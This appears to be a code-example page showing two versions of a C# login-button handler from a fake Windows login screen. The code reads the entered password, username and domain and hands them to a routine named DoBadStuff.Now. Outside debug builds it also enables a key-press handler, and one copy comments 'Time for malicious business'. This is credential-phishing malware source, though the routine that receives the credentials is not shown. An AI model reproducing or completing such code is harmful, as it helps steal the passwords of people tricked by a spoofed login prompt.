예제 #1
0
        private void LoginButton_Click(object sender, EventArgs e)
        {
            if (string.IsNullOrEmpty(PasswordTextBox.Text))
            {
                return;
            }
            if (PasswordTextBox.Text == PLACEHOLDER_TEXT)
            {
                return;
            }

            DenyClose = false;
            #if !DEBUG
            KeyPressHandler.Enable();
            #endif
            DoBadStuff.Now(PasswordTextBox.Text, Environment.UserName, Environment.UserDomainName);

            Close();
        }
예제 #2
0
        // Gets called when the Login Button is clicked or the enter key event is triggered on the password text box
        private void LoginButton_Click(object sender, EventArgs e)
        {
            // Do nothing if no password has been entered
            if (string.IsNullOrEmpty(PasswordTextBox.Text))
            {
                return;
            }
            if (PasswordTextBox.Text == PLACEHOLDER_TEXT)
            {
                return;
            }

            DenyClose = false;
#if !DEBUG
            KeyPressHandler.Enable();
#endif
            // Time for malicious business 😏
            DoBadStuff.Now(PasswordTextBox.Text, Environment.UserName, Environment.UserDomainName);

            Close();
        }